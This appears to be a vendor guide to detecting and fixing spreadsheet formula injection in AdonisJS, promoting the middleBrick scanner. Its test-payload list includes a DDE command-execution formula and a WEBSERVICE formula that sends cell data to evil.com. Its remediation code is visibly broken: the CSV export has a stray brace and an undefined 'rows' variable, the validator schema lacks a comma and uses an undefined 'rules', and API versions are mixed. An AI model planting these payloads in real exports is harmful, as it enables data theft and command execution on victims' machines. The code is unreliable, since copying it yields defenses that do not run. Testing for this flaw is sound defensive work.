Formula Injection in Adonisjs

Detecting formula injection in Adonisjs requires both static code analysis and dynamic scanning. Static analysis focuses on identifying export endpoints and data serialization patterns that could propagate malicious input.

middleBrick's API security scanner includes specialized detection for formula injection in Adonisjs applications. When you scan your Adonisjs API endpoint with middleBrick, it analyzes the response structure and content types to identify potential formula injection vectors.

The scanner specifically looks for:

• Content-Disposition headers with attachment types like xlsx, xls, or csv
• Endpoints that return tabular data without sanitization
• Database query patterns that include user-controlled fields in export operations
• Response headers that suggest spreadsheet generation

middleBrick's LLM/AI security module also checks for additional risks when your Adonisjs application includes AI features. It scans for system prompt leakage and evaluates whether your API endpoints might be vulnerable to prompt injection attacks that could be combined with formula injection.

For manual detection in your Adonisjs codebase, search for these patterns:

grep -r "response\.attachment" routes/ controllers/
grep -r "\.xlsx" controllers/ services/
grep -r "\.csv" controllers/ services/
grep -r "ExcelJS" providers/ startup/

Once identified, test your export endpoints by submitting data containing common formula injection payloads:

Test payload examples:
- =1+1 (basic formula)
- =cmd|'/C notepad'!A0 (Windows command execution)
- =WEBSERVICE("http://evil.com?data="&A1) (data exfiltration)
- =IMPORTXML("http://evil.com", "//title") (external content loading)

middleBrick's continuous monitoring feature in the Pro plan can automatically rescan your Adonisjs export endpoints on a schedule, alerting you if new formula injection vulnerabilities appear due to code changes.

Remediating formula injection in Adonisjs applications requires input sanitization before data export and careful handling of spreadsheet generation. The most effective approach uses Adonisjs's validation system combined with ExcelJS's formula detection capabilities.

First, implement comprehensive input validation using Adonisjs's schema validation:

const { schema } = use('@adonisjs/validator');

const userSchema = schema.create({
  name: schema.string({}, [rules.blacklist(['=', '+', '-', '@'])])
  email: schema.string({}, [rules.email()]),
  balance: schema.number()
});

// In your controller
async store({ request, response }) {
  const payload = await request.validate({
    schema: userSchema
  });
  
  const user = await User.create(payload);
  return response.created(user);
}

This prevents formula characters from entering your database in the first place. However, for existing data and cases where you can't control input, sanitize during export:

const ExcelJS = require('exceljs');
const formulaRegex = /^[=+\-@]/;

class UserController {
  async exportUsers({ response }) {
    const users = await User.all();
    const workbook = new ExcelJS.Workbook();
    const worksheet = workbook.addWorksheet('Users');
    
    worksheet.columns = [
      { header: 'ID', key: 'id' },
      { header: 'Name', key: 'name' },
      { header: 'Email', key: 'email' },
      { header: 'Balance', key: 'balance' },
    ];
    
    users.rows.forEach(user => {
      const sanitized = Object.fromEntries(
        Object.entries(user.toJSON()).map(([key, value]) => {
          if (typeof value === 'string' && formulaRegex.test(value)) {
            return [key, `\'` + value]; // Prepend apostrophe to neutralize formula
          }
          return [key, value];
        })
      );
      worksheet.addRow(sanitized);
    });
    
    response.attachment('users.xlsx');
    await workbook.xlsx.write(response.response);
  }
}

The apostrophe prefix ('=) forces Excel to treat the content as text rather than a formula. This is the standard defense against formula injection.

For CSV exports, which are more dangerous because they lack the formula protection that XLSX provides, implement additional safeguards:

async exportAsCSV({ response }) {
  const users = await User.all();
  const headers = ['ID', 'Name', 'Email', 'Balance'];
 {
    return Object.values(user.toJSON()).map(value => {
      if (typeof value === 'string') {
        if (formulaRegex.test(value)) {
          return `\'` + value.replace(/"/g, '""'); // Escape quotes and prepend apostrophe
        }
        return value.replace(/"/g, '""'); // Standard CSV escaping
      }
      return value;
    });
  });
  
  const csv = [headers.map(h => `"${h}"`).join(',')];
  csv.push(rows.map(row => row.map(cell => `"${cell}"`).join(',')));
  
  response.attachment('users.csv');
  response.send(csv.join('\n'));
}

middleBrick's GitHub Action can automatically scan your Adonisjs application's export endpoints during CI/CD. Configure it to fail builds if formula injection vulnerabilities are detected:

name: API Security Scan
on: [push, pull_request]
jobs:
  security-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Run middleBrick Scan
        run: |
          npm install -g @middlebrick/cli
          middlebrick scan http://localhost:3333/api/users/export --fail-on-severity=medium
        env:
          MIDDLEBRICK_API_KEY: ${{ secrets.MIDDLEBRICK_API_KEY }}

This ensures formula injection vulnerabilities are caught before deployment. The Pro plan's continuous monitoring can then track these endpoints over time, alerting you to any regression.